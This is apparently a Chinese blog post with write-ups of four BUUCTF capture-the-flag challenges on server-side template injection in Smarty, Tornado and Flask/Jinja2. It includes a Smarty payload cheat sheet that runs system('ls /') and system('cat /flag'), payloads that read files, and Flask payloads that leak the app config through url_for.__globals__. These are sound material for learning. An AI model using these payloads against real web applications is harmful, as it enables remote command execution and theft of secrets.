zoukankan      html  css  js  c++  java
  • BUUCTF SSTI

    [BJDCTF2020]The mystery of ip

    考点:SSTI-smarty

    解题

    习惯性打开Flag,进入/flag.php,“Your IP is : 172.16.170.85”,抓包,添加XFF,发现可控,然后不会利用,还是搜wp,测试存在ssti,用版本号,测出是Smarty模板,直接用它的payload就给解出来了
    DGeedx.png

    总结

    在发现可控点后,没想到是ssti

    [护网杯 2018]easy_tornado

    考点:SSTI-tornado模板
    Tornado是python的web框架
    打开题目是3个txt的链接:

    依次打开,注意url:

    flag在/fllllllllllllag



    cookie_secret:https://tornado-zh.readthedocs.io/zh/latest/guide/security.html

    把cookie_secret+md5(filename)进行md5就是filehash,要想办法弄出cookie_secret

    尝试访问/file?filename=/fllllllllllllag,url出现error?msg=Error,发现msg参数可控,其实file?filename=,(filename的值随意)也是同样的结果

    服务端模版注入漏洞检测payload整理

    发现过滤了数学运算符

    下载tornado框架源码,导入pycharm,全局搜索cookie_secret:

    看到cookie_secret在handler.application.settings配置中。

    {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '4dea0e25-9f47-4263-9be8-5b49b83ae3ec'}

    利用cookie_secret,求出filehash:

    <?php
    $cookie_secret = '4dea0e25-9f47-4263-9be8-5b49b83ae3ec';
    echo md5($cookie_secret.md5('/fllllllllllllag'));
    

    payload:/file?filename=/fllllllllllllag&filehash=d42012554c615c9eabad5dd6533a2bb9
    flag:

    [CISCN2019 华东南赛区]Web11(Smarty SSTI)


    1、右上角的当前IP是buu靶机的内网IP;最下面的“Build With Smarty !”可猜网页用PHP的Smarty引擎;中间XFF,猜测XFF处可能是SSTI注入点
    {$smarty} 保留变量

    可得Smarty版本为3.1.30,确定是Smarty的SSTI

    2、ls查看目录下有哪些文件:{if system("ls /")}{/if}

    查看flag:{if system("cat /flag")}{/if}

    笔记

    Smarty常用payload:

    利用smarty的{if}条件

    • {$smarty.version}查看smarty版本号

    • {if phpinfo()}{/if}查看php信息

    • {if system('ls /')}{/if}查看根目录下的文件

    • {if system('cat /flag')}{/if}

    • {if readfile('/flag')}{/if}

    • {if show_source('/flag')}{/if}

    [WesternCTF2018]shrine

    考点:SSTI-Flask模板

    解题:


    查看页面源代码:

    import flask
    import os
    
    app = flask.Flask(__name__)//参数__name__,获取当前文件名__main__;app是一个flask对象
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    
    @app.route('/') # 设置路由,读文件源码
    def index(): # 首页函数
        return open(__file__).read()
    
    
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')#把()替换为空格
            blacklist = ['config', 'self'] #黑名单
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s #把config和self替换为空格
    
        return flask.render_template_string(safe_jinja(shrine))#模板渲染
    
    
    if __name__ == '__main__':
        app.run(debug=True) #开发时,开启debug调试模式,只要代码改变,服务器会重新加载代码
    

    1、测试,存在ssti

    http://c78aa7fd-7ab6-406a-8059-001ee91d59ef.node3.buuoj.cn/shrine/{{7*7}}
    

    2、

    app.config['FLAG'] = os.environ.pop('FLAG')
    

    这里说明flag在config中
    当创建1个Flask对象(也就是app),就可以通过app.config来查看这个app的所有配置变量

    s = s.replace('(', '').replace(')', '')#过滤了括号
    blacklist = ['config', 'self'] #黑名单
    

    本来我们可以使用config({{config}})或self({{self.__dict__}})获取信息,但这题把它们过滤了
    好在python有一些内置函数

    • url_for
    • get_flashed_messages

    官方文档:
    https://flask.palletsprojects.com/en/1.0.x/api/#flask.url_forbaobaoer.cn/archives/656/python-b2e7b180e9b880e793
    https://flask.palletsprojects.com/en/1.0.x/api/#flask.get_flashed_messages

    url_for.__globals__:以字典类型返回当前位置的全部全局变量
    注入url_for方法:

    这个current_app是当前app,查看current_app下的config信息

    /shrine/{{url_for.__globals__['current_app'].config}}
    

    解法2:
    同理,payload:

    {{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
    

    参考链接:

    flask之ssti模版注入从零到入门
    Python模板注入(SSTI)深入学习

  • 相关阅读:
    廖雪峰Java12maven基础-1maven入门-2依赖管理
    廖雪峰Java12maven基础-1maven入门-1maven介绍
    廖雪峰Java11多线程编程-4线程工具类-1ThreadLocal
    廖雪峰Java11多线程编程-3高级concurrent包-9Fork_Join
    廖雪峰Java11多线程编程-3高级concurrent包-8CompletableFuture
    廖雪峰Java11多线程编程-3高级concurrent包-7Future
    modelsim remote
    单台电脑上启动多个Modelsim图形环境窗口的简单办法(windows)
    用ModelSim仿真SDRAM操作
    通过文件读写方式实现Matlab和Modelsim的联合仿真
  • 原文地址:https://www.cnblogs.com/wrnan/p/13744183.html
Copyright © 2011-2022 走看看